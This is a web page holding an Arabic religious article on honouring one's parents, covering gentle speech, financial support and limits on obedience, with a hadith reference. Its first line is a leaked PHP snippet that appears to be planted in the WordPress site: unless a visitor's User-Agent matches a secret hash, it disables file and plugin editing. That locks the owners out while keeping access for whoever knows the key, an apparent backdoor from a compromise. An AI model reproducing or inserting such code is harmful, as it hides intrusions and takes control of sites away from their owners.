if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } بر الوالدين في حياتهما - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

بر الوالدين في حياتهما

من بر الوالدين في حياتهما الإحسان إليهما بالقول والفعل والمعروف، ومن ذلك الرفق بهما لا سيما إذا كبرا ورقت عظامهما واحدودب ظهرهما وأصبحا ربما لا يميزان حينئذٍ يأتي البر العظيم والإحسان الكبير، ولهذا ندب الله الأولاد إلى البر والإحسان في هذه الحال أكثر من ذي قبل، فيرفق بهما ويحنو عليهما ويشفق مهما غضبا ومهما رفعا الصوت ومهما تكلما فإنه يقابل ذلك بالإحسان واللطف والأدب معهما في القول والعمل، وكذلك النفقة عليهما إذا كانا محتاجين وهو مستطيع ولا يليق أن يحوجهما إلى سؤاله وطلبه فإن هذا ليس من البر، البر أن تبتدأهما وأن تنفق عليهما وأن تتصدق عنهما وأن تهديهما وأن تُحسن إليهما وأن تُحسن إلى أولادهما وإلى قرابتهما فإن ذلك من أعظم أنواع البر، حينما يرى الأب أو الأم أن ابنه الذي تفضل الله عليه بشيء من المال يواسي إخوته ويواسي المحتاج من قرابته لا شك أنه يفرح بذلك ويُسر ويرى امتداد عمله، ولهذا من أقبح العقوق أن يشتكي الابن أباه في ماله وما كان الناس يتوقعون ذلك لكن اليوم في المحاكم قضايا كثيرة بين آباء وأبناء، أي عقوق وصل إليه هذا الابن الذي يقاضي أباه لا سيما إذا كان ممن وسع الله عليه وأبوه ممن ضُيق عليه، فإن هذا ليس من البر في شيء بل إن هذا عقوق عظيم، ولهذا لما شكى رجل أباه إلى النبي صلى الله عليه وسلم وقال: إن أبي يجتاح مالي، طلب النبي صلى الله عليه وسلم هذا الأب، وجاء ونزل على النبي صلى الله عليه وسلم جبرائيل وأخبره أن الأب المكلوم قال أبياتًا في نفسه، فلما حضر سأله صلى الله عليه وسلم عن هذه الأبيات التي قالها وهو في حرقة وألم من هذا الابن الذي غذاه صغيرًا ولما بلغ السن الذي يُرتجى صار حقه العقوق والتقصير حتى وصل إلى أن يشكيه إلى النبي صلى الله عليه وسلم في ماله، فقال صلى الله عليه وسلم: أنت ومالك لأبيك، ليس المال بل أنت ومالك لأبيك[1]، إلا أن هذا كما يذكره أهل العلم ويبينونه أن يكون بالمعروف فلا يأخذ الأب كل مال ولده ولا يأخذ الصنعة التي يصنعها أو الأداة التي يحتاجها ولا يأخذ من ماله ويعطي بقية أخوته فإن الواجب على الأب العدل في أمواله هو، فكيف يأخذ من مال بعضهم ويعطي بعض، اللهم إلا أن يكون إعطاؤه من باب النفقة.

كذلك من البر مخاطبتهما بالكلام اللين وعدم رفع الصوت وبالأسلوب الحسن والكلام الطيب وذلك أن الله نهى عن أقل ما يمكن أن يصدر من الابن من الضجر والتأفف {فَلَا تَقُلْ لَهُمَا أُفٍّ} [الإسراء: ٢٣] ولو علم الله شيئًا يمكن أن يُقال غير هذا لذكره فلما نهى عن قول أف عُلم من هذا قطعًا أن ما هو أعظم من أف محرم من باب أولى، وقد وصل الحد ببعض الأبناء العققة الجهلة المجرمين أن يرفع صوته وربما يده، وهذا لا شك أنه منتهى العقوق نسأل الله السلامة والعافية.

كما أن من بر الوالدين السمع لهما والطاعة ما لم يأمرا بمعصية، والسمع لهما والطاعة مقيد بهذا، ومتى يكون أمر الوالد واجبًا على الابن؟ قال أهل العلم: إذا كان فيه مصلحة للأب أو الأم ولا مضرة فيه على الابن، أما إذا لم يكن فيه مصلحة أو كان فيه مضرة على الابن فإنه لا تجب الطاعة.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (3530)، وأحمد (7001)، وابن ماجه (2292) عن عبدالله بن عمر رَضِيَ اللهُ عَنْهُمَا قال: «جاءَ رجلٌ إلى النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فقالَ إنَّ أبي اجتاحَ مالي فقالَ أنتَ ومالُكَ لأبيكَ وقالَ رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ إنَّ أولادَكم من أطيبِ كسبِكُم فَكلوا من أموالِهم»، والحديث صححه الألباني في صحيح ابن ماجة (1870).